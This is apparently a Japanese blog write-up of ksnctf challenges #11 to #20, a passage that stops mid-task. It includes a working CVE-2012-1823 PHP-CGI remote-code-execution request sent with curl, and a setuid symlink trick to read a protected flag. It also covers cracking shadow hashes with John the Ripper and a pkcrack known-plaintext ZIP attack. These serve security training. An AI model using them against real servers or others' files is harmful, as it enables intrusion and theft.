好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

ksnctf write-up #2 (#11~#20)

kusuwada.hatenablog.com

の続き

f:id:kusuwada:20180911155627p:plain

Riddle 200pt (解けていない)

問題

http://ksnctf.sweetduet.info/q/11/Riddle.exe

一個前の20pt問題の後に200pt問題。そしてお題が「謎解き」。難しそう!
しかもURLにアクセスしたら、exeファイル落ちてきたよ。どうしよう(mac)。

解答

一応中身を確認してみる。うん、知ってた。

$ file Riddle.exe 
Riddle.exe: PE32 executable (GUI) Intel 80386, for MS Windows

一応、macに入れているwineで立ち上がるかも?と実行してみるも、何も起こらず。
夫のwindowsPCを出動。
どうやらMS Visual C++ 2010 SP1 再頒布可能パッケージ、というのが起動に必要らしいのでinstall。

立ち上げると、謎解きが始まった!

  1. Witch creature in the morning goes on four feet, at noon on two, and in the evening upon three?
  2. よく見るクイズ。朝は本本足、昼は2本、夜は3本の生物は?赤ちゃん⇒人間⇒老人(+杖)で人間。
  3. 回答フォーマットで戸惑った。英語で先頭大文字だった。
  4. What is the largest island in the world?
  5. グリーンランド
  6. Answer to the Ultimate Question of Life, The Universe, and Everything
  7. なんかよくわからんけどぐぐったら 42 らしい
  8. What is the flag?
  9. いや知らんがな!教えてよ!

やっぱり普通の謎解きじゃなかった( ತಎತ)

バイナリ読む系かな?と思って後回しにしたが、一通り自力で解く回が終わった後ジャンルを確認すると [Binary(Reversing)] とのことだったので、パス。

Hypertext Preprocessor 70pt

問題

http://ctfq.sweetduet.info:10080/~q12/

解答

問題文のURLを踏むと、なんかおどろおどろしいページに飛んだ。

f:id:kusuwada:20180908005215p:plain

2012:1823:20:18:08:14:04:35:55:18:06:41:33

ページのタイトルは Clock になっている。そして問題文は Hypertext Preprocessor だ。PHPのことらしい。

HTMLのソースも特に気になる点はないので、とりあえず下記文言でググってみる。

php 2012 1823 20 18 09 07 16 07 55 39 44 20 44 -ksnctf

徳丸さんのサイトが出てきたのでこちらを拝見。

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記

どうやら、 CVE-2012-1823 というphpに関する脆弱性があるらしい。これが今回の問題と関係あるか怪しいところだが、一応説明を見てみる。

2012年発見の脆弱性だそうな。

CGIPHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) CGI環境でPHPを動作させているサイトには、リモートからスクリプト実行を許してしまう脆弱性があります

CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトコマンドライン引数として指定されます。 例えば、http://example.jp/test.cgi?foo+bar+bazという呼び出しに対しては、test.cgiは以下のコマンドラインで呼び出されます。 test.cgi foo bar baz

へー!CGI使ったことないから知らなかった!(ウソ、もう10年以上前に触ったことがあったはず・・・。年がバレる・・・。)
まずは当てはまるか確認。

この仕様を悪用して、CGI版のPHPコマンドライン引数としてPHPのオプションを指定できます。例えば、http://example.jp/test.php?-s というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示します。

とのことなので、これを試してみる。

http://ctfq.sweetduet.info:10080/~q12/?-s

f:id:kusuwada:20180908010054p:plain

効いた!どうやらこの脆弱性が存在しているようだ。
ソースのコメントに Flag is in this directory. とある。

きっとソースと同じ階層にある flag.txt 的な何かを探して、表示させるのが正解だな。

そのまま徳丸さんサイトを読み進めると、こんな実証例が。

CVE-2012-1823の影響はスクリプトソースの表示だけではありません。PHPのオプションを組み合わせることにより、外部から任意のスクリプト実行が可能となります。具体的には、-dオプションを用いて、php.iniのディレクティブを外部から指定できます。 metasploitminute.comで紹介されていたExploitを元に、攻撃例を紹介します。以下の2つのphp.iniディレクティブを指定します。 allow_url_include=On auto_prepend_file=php://input ? 最初のディレクティブは、includeするファイルをURL指定でリモートから読み出すことを許可するものです。2番目のディレクティブは、PHP実行に先立ち、スクリプトをincludeしておくものですが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。両者の組み合わせにより、外部から指定したスクリプトを実行することができます。

なんと。これを使って下記のリクエストを送ってみる。

$ curl -X POST -d '<?php system('ls'); exit();?>' http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input

実行結果

flag_flag_flag.txt
index.php
php.cgi

おお、ちゃんと ls 結果が出ている!

$ curl -X POST -d "<?php readfile('flag_flag_flag.txt'); exit();?>" http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input

これでFlagが出てきた!
今回は徳丸さんサイトにおんぶにだっこだった。

CGI環境でPHPを動作させているサイトには、リモートからスクリプト実行を許してしまう脆弱性があります。php.netから提供されている修正リリース(PHP 5.3.12 / PHP 5.4.2)は不完全なため、該当するサイトは至急回避策を導入することを推奨します。

脆弱性が判明した時期が、日本の連休中にあたっていたため、対策に必要な最低限の情報のみ提供しておりましたが、海外では攻撃のための情報が流通し始めており、かつ日本での連休が明けたことから、詳細情報を公開しました。

という記載が冒頭と最後に見られ、結構なインパクトの脆弱性が見つかったときの温度感が少し伝わってテンション上がった。

Proverb 70pt

問題

SSH: ctfq.sweetduet.info:10022
ID: q13
Pass: 8zvWx00MakSCQuGq

タイトルはことわざ。

解答

指定されたURL,PortにSSHで接続してみる。

$ ssh -p 10022 -l q13 ctfq.sweetduet.info

うんともすんとも言わないので諦めかけていたが、しばらく待っていたらパスワード聞かれた。
パスワード入れたらつながったので、じっくり周りを探索。

[q13@localhost ~]$ ls -la
合計 48
drwxr-xr-x   2 root root  4096  6月  1 05:01 2012 .
drwxr-xr-x. 17 root root  4096 10月  6 03:07 2014 ..
-rw-r--r--   1 root root    18  5月 11 03:31 2012 .bash_logout
-rw-r--r--   1 root root   176  5月 11 03:31 2012 .bash_profile
-rw-r--r--   1 root root   124  5月 11 03:31 2012 .bashrc
-r--------   8 q13a q13a    22  6月  1 05:21 2012 flag.txt
---s--x--x   8 q13a q13a 14439  6月  1 04:59 2012 proverb
-r--r--r--   2 root root   755  6月  1 04:58 2012 proverb.txt
-r--r--r--   1 root root   151  6月  1 04:48 2012 readme.txt

flag.txt がすぐそこにあるぞ!

[q13@localhost ~]$ less flag.txt 
flag.txt: 許可がありません

うん、知ってた。ということで、おとなしくreadme.txtを読んで見る。

You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

作業ディレクトリが必要なら /tmp を使ってくださいね。とのこと。
proverb.txtは中身が読めたので見てみたが、英語のことわざがずらっと書いてあるのみでした。 残るは proverb 実行ファイルのみ。こちらは実行権限が与えられているみたい。実行してみた。

[q13@localhost ~]$ ./proverb 
Take heed of the snake in the grass.
[q13@localhost ~]$ ./proverb 
The sky's the limit...
[q13@localhost ~]$ ./proverb 
Spare the rod and spoil the child.
[q13@localhost ~]$ ./proverb 
Ignorance is bliss.

実行するたびに一つずつことわざを言ってくれるだけっぽい。proverb.txtを読んで返してくれているのかな。
proverbくんが、proverb.txtじゃなくてflag.txtを読んでくれると嬉しいんだが。

ヘルプ機能はなし

$ ./proverb --help
The wolf knows what the ill beast thinks.
$ ./proverb -h
Nothing ventured, nothing gained.

引数は上記の通り見てなさそうだけど、一応ファイル名入れてみる。しかし読み先変わらず。

$ ./proverb flag.txt 
Truth lies at the bottom of a well.
$ ./proverb -i flag.txt 
The die is cast.

とにかく何か作業がしたいときは /tmp とのことだったので、/tmp にコピーを試みる。

$ cp flag.txt /tmp/flag.txt
cp: `flag.txt' と `/tmp/flag.txt' は同じファイルです
$ cp proverb /tmp/proverb
cp: `proverb' と `/tmp/proverb' は同じファイルです

なんだか一式すでに /tmp にいるみたい。

$ cd /tmp
$ ./proverb
Please make your own subdirectory.
$ cat proverb.txt
Please make your own subdirectory.

ということで、/tmp 配下の proverb.txt はことわざじゃなくて「自分のサブディレクトリ作ってね」というメッセージが書かれている。
お、なんか仕組みがわかってきたきがするぞ。導かれている。

$ mkdir kusuwada
$ cd kusuwada
$ cp /tmp/proverb.txt proverb.txt
$ cp /tmp/proverb proverb
cp: `/tmp/proverb' を 読み込み用でオープンできません: 許可がありません

proverb には読み込み権限がないので自分のサブディレクトリにコピーができない。ならばリンクを貼ってみよう。

$ ln -s /tmp/proverb proverb
$ ./proverb
Please make your own subdirectory.

よし、実行できた。proverb.txt を書き換えてみよう。

$ rm proverb.txt 
$ echo 'test message' > proverb.txt
$ ./proverb 
test message

よしよし、サブディレクトリ側の proverb.txt を読んでいるな。
あとは、ちょっと前につぶやいた
"proverbくんが、proverb.txtじゃなくてflag.txtを読んでくれると嬉しいんだが。"
をやるだけ。

$ rm proverb.txt 
$ ln -s /tmp/flag.txt proverb.txt
$ ./proverb

無事、 /tmp/flag.txt の中身が表示されました!

ちなみに、サブディレクトリにありがちな名前 test とかを入れると、

mkdir: ディレクトリ `test' を作成できません: ファイルが存在します

などと怒られるので、すでに誰かが test ディレクトリで作業していることがわかる。この test ディレクトリは直接名前を指定すれば誰でものぞけるので、誰かの行った作業がなんとなくわかってしまうという。
定期的にサーバーはresetするとのことだけど、運良く?悪く?他の人の痕跡を見つけてしまった場合、ネタバレしてしまうのであった。

John 60pt

問題

user00:$6$Z4xEy/1KTCW.rz$Yxkc8XkscDusGWKan621H4eaPRjHc1bkXDjyFtcTtgxzlxvuPiE1rnqdQVO1lYgNOzg72FU95RQut93JF6Deo/:15491:0:99999:7:::
user01:$6$ffl1bXDBqKUiD$PoXP69PaxTTX.cgzYS6Tlj7UBvstr6JruGctoObFXCr4cYXjIbxBSMiQZiVkKvUxXUC23zP8PUyXjq6qEq63u1:15491:0:99999:7:::
user02:$6$ZsJXadT/rv$T/2gVzYwMBaAsZnHIjnUSmTozIF/ebMvtHIJjikFehvB8pvy28DUIQYbTJLG6QAxhzJAKOROnZq0xV4hUGefM1:15491:0:99999:7:::
user03:$6$l0NHH5FF0H/U$fPv3c5Cdls/UaZmglR4Qqh8vhpIBsmY1sEjHi486ZcDQ2Vx5GY0fcQYSorWj6l42jfI47w437n.NBm8NArFyT/:15491:0:99999:7:::
...

このログっぽい文字列が問題。user20まで+user99の行が存在。

解答

最後の行に注目。userの番号飛んでるし、メッセージっぽい。

user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

SHA512 is storong dictionary is here. http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt

ということで、アクセスしてみる。(httpプロトコルのところは少し書き換えが必要)

dicti0nary_8Th64ikELWEsZFrf.txt

finding
EACH
respond
THING
PROBATIONARY
ABUSE
secretly
・・・

と、単語が沢山登録されている。これは辞書型攻撃をしろということなのかな。
SHA-512でHash化した値が、このuserの後の値とマッチしたら良いとかそんな感じ?

と方針が見えてきたところで、試しに辞書の1つ目をSHA512してみたんです。

$ echo -n 'finding' | shasum -a 512 
d68e5ddcf52812ea5a973d8bfd7c39cb0896584f18f27a94ee789ed292fa66e1ea71c2c3f53910fb3b2af73e35949c13da768ac8264c631c380561f4b1eacd47  -

んー。なんか出力されたフォーマットが思ってたのと違うなー。 $6$*** みたいになってほしいんだな。あと 問題文側の行末のIPアドレスみたいな記載もなんのことやらなんだな。謎が残っていて気持ち悪い。

ので、 15491:0:99999:7::: -ksnctf とかでググってみた。すると、おすすめ検索のところに john the ripper の単語が。もしかしてこれじゃない?タイトルとあってるし。
と思って飛んでみた。

http://www.openwall.com/john

John the Ripper でパスワードをチェックする - いますぐ実践! Linuxシステム管理 / Vol.168 ※紹介記事

John the Ripper とは? John the Ripper とは、 shadow ファイルや passwd ファイルに含まれる暗号化されたパスワードを元に、 生のパスワードを推測するツールです。

ということで、これを使う気しかしない。辞書にも対応しているようで、好きな辞書を指定できるらしい。
使い方は、こちらの記事が非常にわかりやすい。

John the Ripperを使ってパスワードを解析する

macへのインストールは簡単。

$ brew install john

あとは、辞書の設定は wordlist optionで指定できるらしい。

$ john --fork=2 --format=sha512 --wordlist=john_dict.txt john_pass.txt 
No password hashes loaded (see FAQ)

ん?そうなの?ちょっと調べてみると

John The RipperをMacにインストールした【OS X】 - Phosphophyllite

この記事に

どうもパスワードファイルのハッシュフォーマットが違うと読めないそうです……。 Ubuntuで試したらうまくいったのでOSごとで違う部分があるのかもしれませんね。

というコメントが。また環境かー。UbuntuやCentは重いので消しちゃったんだよなー。
ということで1周目は後回しに。

2周目、やっぱりこれは解けそうだから悔しいなー、と。UbuntuVMを思い切っていれることに。せっかくなので、Ubuntu 18.04 LTE を install。お、ちょっとだけ見た目変わってる。
UbuntuにJhon the ripper を installするのは下記コマンド実施するだけ。簡単。

$ apt-get install john

実行してみる。

$ john --wordlist=john_dict.txt john_pass.txt
Loaded 21 password hashes with 21 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 3% 0g/s 0p/s 169.7c/s 169.7C/s finding..INITIALLY
floating         (user13)
ADDITIONAL       (user02)
HELD             (user10)
ultimate         (user08)
zero             (user19)
opinion          (user15)
karaoke          (user17)
SPIRITS          (user06)
QUESTION         (user16)
GENDER           (user03)
__________       (user04)
DELIGHT          (user20)
FREQUENT         (user00)
JENNY            (user09)
SUFFERS          (user11)
strange          (user18)
zecht            (user14)
independent      (user07)
applies          (user05)
LATTER           (user01)
LEAVE            (user12)
21g 0:00:03:06 100% 0.1127g/s 16.33p/s 165.8c/s 165.8C/s gravekeeper..ADMIRATION
Use the "--show" option to display all of the cracked passwords reliably
Session completed

おおお!ちゃんと解析できている。良かったよかった。

user00がFから始まって、user01がL...なので、user番号ごとにパスワードを並べ替えるっぽいぞ。
Excelで並べ替えて先頭文字を抽出していくと、FLAGになった!

Jewel 250pt (解いていない)

問題

http://ksnctf.sweetduet.info/q/15/Jewel.apk

宝石。

解答

点数的に難しそうだし、なにせリンク先の配布物が apk なので後回しにしていた。

一周終わった後にジャンル分けを見たら [Binary(Reversing)/Mobile] とのことだったのでスキップ。

Math I 150pt

問題

Let
  e = 65537,
  n = 1517330236262917595314610888889322115651087080826711948897066340883208205571592392362650858571076247939805436226544833224526137582834770402681005343930059463684528957271778199162575053306238099823295117697031968370690372250916935800738698142103275969223264184374648246277564306900886005299731265812255274723175925185522344831066577166867786835955092059346244885587228196357297758371381557924676260190209536670230008561217008649261974735505203813478978893582292682827884118215872470401293272325715864815977064075988643101088355047954735427424641386870772845440782632933485165110172437511822736907550777817722248753671107339823410418938404382732079381329288400012929311347390423061254658780185245562668131009832293474920208834795460061115101364091252176594144096675899952570380792978037217747311595899301451192342027799533264325948876556110474850761538179748318187805312451895898751337975457949549497666542175077894987697085521882531938339334715190663665300179658557458036053188152532948734992896239950564081581184284728802682982779186068791931259198917308153082917381616147108543673346682338045309449569430550618884202465809290850964525390539782080230737593560891353558335337408957948041667929154230334506735825418239563481028126435029,
  c = m^e mod n = 225549592628492616152632265482125315868911125659971085929712296366214355608049224179339757637982541542745010822022226409126123627804953064072055667012172681551500780763483172914389813057444669314726404135978565446282309019729994976815925850916487257699707478206132474710963752590399332920672607440793116387051071191919835316845827838287954541558777355864714782464299278036910958484272003656702623646042688124964364376687297742060363382322519436200343894901785951095760714894439233966409337996138592489997024933882003852590408577812535049335652212448474376457015077047529818315877549614859586475504070051201054704954654093482056493092930700787890579346065916834434739980791402216175555075896066616519150164831990626727591876115821219941268309678240872298029611746575376322733311657394502859852213595389607239431585120943268774679785316133478171225719729917877009624611286702010936951705160870997184123775488592130586606070277173392647225589257616518666852404878425355285270687131724258281902727717116041282358028398978152480549468694659695121115046850718180640407034795656480263573773381753855724693739080045739160297875306923958599742379878734638341856117533253251168244471273520476474579680250862738227337561115160603373096699944163.

You have succeeded in factorization of n using Shor's algorithm as follows:
  n = pq,
  p = 34111525225922333955113751419357677129436029651245533697825114748126342624744832960936498161825269430327019858323450578875242014583535842110912370431931233957939950911741013017595977471949767235426490850284286661592357779825212265055931705799916913817655743434497422993498931394618832741336247426815710164342599150990608143637331068220244525541794855651643135012846039439355101027994945120698530177329829213208761057392236875366458197098507252851244132455996468628957560178868724310000317011912994632328371761486669358065577269198065792981537378448324923622959249447066754504943097391628716371245206444816309511381323,
  q = 44481453884385518268018625442920628989497457642625668259648790876723318635861137128631112417617317160816537010595885992856520476731882382742220627466006460645416066646852266992087386855491152795237153901319521506429873434336969666536995399866125781057768075533560120399184566956433129854995464893265403724034960689938351450709950699740508459206785093693277541785285699733873530541918483842122691276322286810422297015782658645129421043160749040846216892671031156465364652681036828461619272427318758098538927727392459501761203842363017121432657534770898181975532066012149902177196510416802134121754859407938165610800223.

Find the value of m.
The following python script will give you the flag.
#!/usr/bin/env python
m = ????????
print ("%0512x"%m).decode("hex")

RSA暗号でよく見る変数名と数値・数式だ。

解答

RSA暗号っぽいので、RSA暗号のライブラリに食わせるだけで解けそう!
念の為、RSA暗号の式を再度確認。

RSA暗号 - Wikipedia
概要、より。

RSA暗号は次のような方式である: 鍵ペア(公開鍵と秘密鍵)を作成して公開鍵を公開する。まず、適当な正整数 e(通常は小さな数。65537 (= 216 + 1) がよく使われる)を選択する。また、大きな2つの素数 {p, q} を生成し、それらの積 n (=pq) を求めて、{e, n} を平文の暗号化に使用する鍵(公開鍵)とする。2つの素数 {p, q} は、暗号文の復号に使用する鍵(秘密鍵d の生成にも使用し (d = e-1 (mod (p-1)(q-1)))、秘密に保管する。

暗号化(平文 m から暗号文 c を作成する): c = me mod n 復号(暗号文 c から元の平文 m を得る): m = cd mod n

今回与えられているのが、 e = 65537, n, c (= me mod n), n=qp, {p, q} であるので、全く合致する。

SECCON BeginnersCTF 2018 復習 [Crypto] RSA is Power - 好奇心の足跡
の [Crypto] RSA is Power で使用したスクリプトを流用。

math1.py

#!/usr/bin/env python

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from Crypto.Util.number import long_to_bytes

e = 65537
n = (略)
c = (略)
p = (略)
q = (略)

d = inverse(e, (p-1)*(q-1))
key = RSA.construct(map(int, (n, e, d)))
m = key.decrypt(c)

print(long_to_bytes(m))

実行結果

$ python math1.py 
b'This is 4096bit RSA.\nThe flag is FLAG_****** PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING P'

これが150点問題で、他の100点切る問題より解けている人も少ないのが謎。自分が過去にやったことあるバイアスなのかな?それともPwn, Exploit系が苦手すぎるから?

Math II 50pt

問題

How important is modulo arithmetic in cryptography?

Let
  x = 274804002340875032...

Find the value of y such that y^101 = x.

The flag is FLAG_y (in decimal notation).

Math Ⅰ より簡単らしい。まじか。

解答

xがどえらい数になるが、yの101乗がxになるようなyを答えよ、とのこと。

前に一度入れようとして挫折した、pythonの計算ライブラリ gmpy を入れて解いてみることに。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2

x = (略)

gmpy2.get_context().precision=200
y = gmpy2.root(x, 101)

print(y)

最初、precisionの設定をせずに実行したところ、5.4578303274391105e+38 という結果に。これでは概数すぎるので、precision をちょっとずつあげたところ(defaultの53 -> 100 -> 200)、200で整数1桁目まで出た。ここの調整ポイント勉強したいがまぁ答えが出たので後回し。

実行すると、ちゃんと答えが出た。

USB flash drive 80pt

問題

Find the flag.

http://ksnctf.sweetduet.info/q/18/drive.zip

USB flash drive? hardwareの問題?

解答

drive.zipには、drive.imgが格納されていて、imgの中には絵が三枚。

f:id:kusuwada:20180910031111p:plain

まずは file コマンドを試してみる。

$ file drive.img 
drive.img: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 8, hidden sectors 1, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 32767, $MFT start cluster 1365, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0667e77597e77214b; containsMicrosoft Windows XP/VISTA bootloader BOOTMGR

なんか hidden とかあるし、clusterも8個あるらしいし。隠されたファイルがありそうだ。
しばらく使ってなかった、 foremost してみる。ファイル分析して分割してくれるツール。

SECCON 2015 Online CTF を、後追いでみっちりやってみよう! - 好奇心の足跡 > 100_Steganography 1

最初のCTF参加時に使ったきりだった!

$ foremost drive.img
Processing: drive.img
|*|
$ tree output/
output/
├── audit.txt
└── jpg
    ├── 00001040.jpg
    ├── 00001200.jpg
    ├── 00001544.jpg
    └── 00001640.jpg

ふーむ。jpegが1つ増えただけか。jpegはそのまま見てもただの絵でflagが書かれていたりはしないか。。。
と思ったら、増えた絵の下の方にヒントが書いてあった!

f:id:kusuwada:20180910031201p:plain

The flag is in this file, but not in this image.

ちなみに、JpegAnalyzerで見てみようと思って久しぶりに開いたら、「期限切れです」と言われたんだが(JpegAnalyzer Plus1.42)新しいバージョン見つからず。

JpegAnalyzer142が期限切れ in Various 小事~主に・・・?~

ここのサイトに期限切れた際の起動方法が書いてあったが、今回は試さず。一応メモとして残しておく。

絵の領域外に書いてあるとかかしら?バイナリエディタで開いてみる。
jpegフォーマットのサイズが格納されている部分は、フレーム部分。フレーム開始のマーカーは FFC0で、フレームの中身は

データ サイズ(bit)
フレーム開始マーカー 16
フレームヘッダのサイズ(byte) 16
サンプル精度 8
height 16
width 16

なので、バイナリエディタで該当箇所を探して確認。縦方向を延ばしてみる。

| FFC0 | 0011 | 08 | 0277 | 02F5 |
 marker             h(631)  w(757)
↓
| FFC0 | 0011 | 08 | 02F5 | 02F5 |
 marker             h(757)  w(757)

f:id:kusuwada:20180910031306p:plain

うーん、何も現れなかった・・・。違ったくさい。

次。 file じゃなくて fls コマンドを使って、削除されたファイルも抽出してみる。

fls | Forensicist

flsはimage内のファイル、ディレクトリ名を表示する。また、inodeで指定されたiノードを使っているディレクトリの最近削除されたファイル名を表示する。inodeが指定されなければ、ルートディレクトリのiノードの値となる。

$ fls drive.img
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
r/r 8-128-1:    $BadClus:$Bad
r/r 6-128-4:    $Bitmap
r/r 7-128-1:    $Boot
d/d 11-144-4:   $Extend
r/r 2-128-1:    $LogFile
r/r 0-128-1:    $MFT
r/r 1-128-1:    $MFTMirr
r/r 9-128-8:    $Secure:$SDS
r/r 9-144-11:   $Secure:$SDH
r/r 9-144-5:    $Secure:$SII
r/r 10-128-1:   $UpCase
r/r 3-128-3:    $Volume
r/r 35-128-1:   Carl Larsson Brita as Iduna.jpg
r/r 37-128-1:   Mona Lisa.jpg
r/r 38-128-1:   The Great Wave off Kanagawa.jpg
-/r * 36-128-1: Liberty Leading the People.jpg
-/r * 36-128-4: Liberty Leading the People.jpg:00
-/r * 36-128-5: Liberty Leading the People.jpg:01
-/r * 36-128-6: Liberty Leading the People.jpg:02
-/r * 36-128-7: Liberty Leading the People.jpg:03
-/r * 36-128-8: Liberty Leading the People.jpg:04
-/r * 36-128-9: Liberty Leading the People.jpg:05
-/r * 36-128-10:    Liberty Leading the People.jpg:06
V/V 256:    $OrphanFiles

おお、なんか削除済みファイルがたくさん出てきましたね。People.jpgの00~06がアヤシイ。
Forensicistツール The Sleuth Kit兄弟の、icatで抽出してみる。

icat | Forensicist

指定したiノード番号に基づくファイルのコンテンツを出力する

flsで確認したノード番号で抽出できる。
1つ目のファイルが、中身がtxtで FLA だったため、つないだらFLAGが出てきそう!と予想。

$ icat drive.img 36-128-4 > People.jpg:00
$ icat drive.img 36-128-5 > People.jpg:01
$ icat drive.img 36-128-6 > People.jpg:02
$ icat drive.img 36-128-7 > People.jpg:03
$ icat drive.img 36-128-8 > People.jpg:04
$ icat drive.img 36-128-9 > People.jpg:05
$ icat drive.img 36-128-10 > People.jpg:06
$ cat People.jpg\:00 People.jpg\:01 People.jpg\:02 People.jpg\:03 People.jpg\:04 People.jpg\:05 People.jpg\:06
FLAG_******

出た!!!

ZIP de kure 150pt

問題

What anyone uses is actually secure?

The ASCII art has no meaning.

           |;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ノ| 
           |丶、 ;;; __;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;_,,: ィ";;_| 
           ト、;;;;;;;;;;;;;;;` ` '' ー -- ‐ '' ";;;;;;;;;,:ィ;:;! 
          ,';:``' ‐ョ 、 ,_ ;;;;;;;;;;;;;;;;;;;;;;;;;;; , - '"l;:;:;:;:l
          l;:;:;:;:;:;:;ミ   ` ` '' ー -‐ '"    ,リ;:;:;:l 
          l;:;:;:;:;:;:;:ゝ   く三)   (三シ  `ヾ;:t、
         fミ{;:;:;:;:f'´  , ---_,, _,ィ 、_,,ィ,.--、  };f } 
         l トl;:;:;:;:l  、,ィ或tュ、゙:ミ {,'ィt或アチ l:l,/
         ゙i,tヾ:;:;:!  `ヽ 二ノ   ト ` ‐''"´  l:l:f 
          http://ksnctf.sweetduet.info/q/19/flag.zip
           `"^l:l      ,/゙ー、  ,r'ヽ    l 
             ゙i    ,ノ    `'"  丶.   ,
               ゙l、   ′ ,, ィrェェzュ、,_ 〉 } / 
              ',ヽ  ヘヾ'zェェェッ',シ' //ヽ
               } 丶、 ` ー--‐ '"'´,/ノ:.:.:ヽ 
              /l   丶、      ,.イ:.:.:.:.:.:.:.:丶、、
            ,r'"^l !    ` ー‐;オ´:.:.:.:.:.:.:.:.:.,ノ  ,}、 
       ,. -ァ=く(:.:.:.l  l      //:.:.:.:.:.:., - '"  ,/ ヽ、 
    , - '"´ / ,/`>'t、_」___,ィ'゙,ィ,.: -‐ '" ,. -‐ '"    \ 

AA!! しかもAAには意味ないらしい。ホントかな。

解答

とりあえずAAのどまんなかにあるURLのzipを落とす。
flag.zipを開こうとすると、パスワードを求められた。

前やったzipにパスワードが掛かってる系の問題、合ったなぁと思って探したらこれだった。 SECCON 2015 Online CTF を、後追いでみっちりやってみよう! - 好奇心の足跡 > 100_Unzip the file

コマンドからunzip試してみると、ヒントが貰える。

$ unzip -v flag.zip 
Archive:  flag.zip
Hint:
- It is known that the encryption system of ZIP is weak against known-plaintext attacks.
- We employ ZIP format not for compression but for encryption.
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
     304  Stored      304   0% 06-03-2012 18:14 d66cb67b  flag.html
  255964  Stored   255964   0% 06-03-2012 18:10 af308dc8  Standard-lock-key.jpg
--------          -------  ---                            -------
  256268           256268   0%                            2 files

このヒントも上の平文攻撃の話じゃない? Standard-lock-key.jpg ってのが怪しいな。ググるWikiMediaというのがヒットした!!!

File:Standard-lock-key.jpg - Wikimedia Commons

自由に使っていい画像っぽい。
これをダウンロードしてzipにしてみる。

$ zip key.zip Standard-lock-key.jpg
  adding: Standard-lock-key.jpg (deflated 3%)
$ unzip -v key.zip 
Archive:  key.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  500751  Defl:N   484448   3% 08-15-2018 19:48 64626f39  Standard-lock-key.jpg
--------          -------  ---                            -------
  500751           484448   3%                            1 file

うーん、なんか違うな?サイズも半分くらいのはずだ。
2サイズ合ったから、小さい方のをDLして試してみよう。

$ zip key2.zip Standard-lock-key2.jpg
  adding: Standard-lock-key2.jpg (deflated 9%)
$ unzip -v key2.zip 
Archive:  key2.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  255964  Defl:N   232952   9% 08-15-2018 19:53 af308dc8  Standard-lock-key2.jpg
--------          -------  ---                            -------
  255964           232952   9%                            1 file

お、Lengthが一致した!こっちの画像っぽい。Sizeが一致しないのはCmpr、圧縮率。問題のやつは圧縮していないようなので、圧縮しないでzip化すると、一致した。

$ zip -0r key5.zip Standard-lock-key2.jpg 
  adding: Standard-lock-key2.jpg (stored 0%)
$ unzip -v key5.zip 
Archive:  key5.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  255964  Stored   255964   0% 08-15-2018 19:53 af308dc8  Standard-lock-key2.jpg
--------          -------  ---                            -------
  255964           255964   0%                            1 file

既知平文攻撃っぽいので、PkCrack をつかって解読を試みる!

$ pkcrack -C flag.zip -c Standard-lock-key.jpg -P key5.zip -p Standard-lock-key2.jpg -d decrypted.zip

ちょっと時間がかかった(1分くらい?)が、無事 decrypt された zip が取り出せた!!中に入っていたもう一つのファイル、 flag.html に答えが書いてありました。
やったことある系の問題が順調に解けて嬉しい٩(๑❛ᴗ❛๑)۶

G00913 30pt

問題

FLAG_Q20_{first 10-digit prime found in consecutive digits of π}

これは。。。英語力が試されている・・・!!!
google翻訳だ!!

最初の10桁の素数はπの連続桁にあります

惜しい!

解答

円周率の連続する数字で、最初に出てくる10桁の素数は?

頭から10桁ずつ試していって、素数かどうか判定しながらやってけば良さそう。
gmpyに is_prime 関数あるから、これが使えそう。

いつもどおりpythonで組んでみたのだけど、pythonのint, round関数に苦しめられた。

2. 組み込み関数 — Python 3.6.5 ドキュメント

上記python3の公式ページでの注釈

注釈 浮動小数点数に対する round() の振る舞いは意外なものかもしれません: 例えば、 round(2.675, 2) は予想通りの 2.68 ではなく 2.67 を与えます。これはバグではありません: これはほとんどの小数が浮動小数点数で正確に表せないことの結果です。詳しくは 浮動小数点演算、その問題と制限 を参照してください。

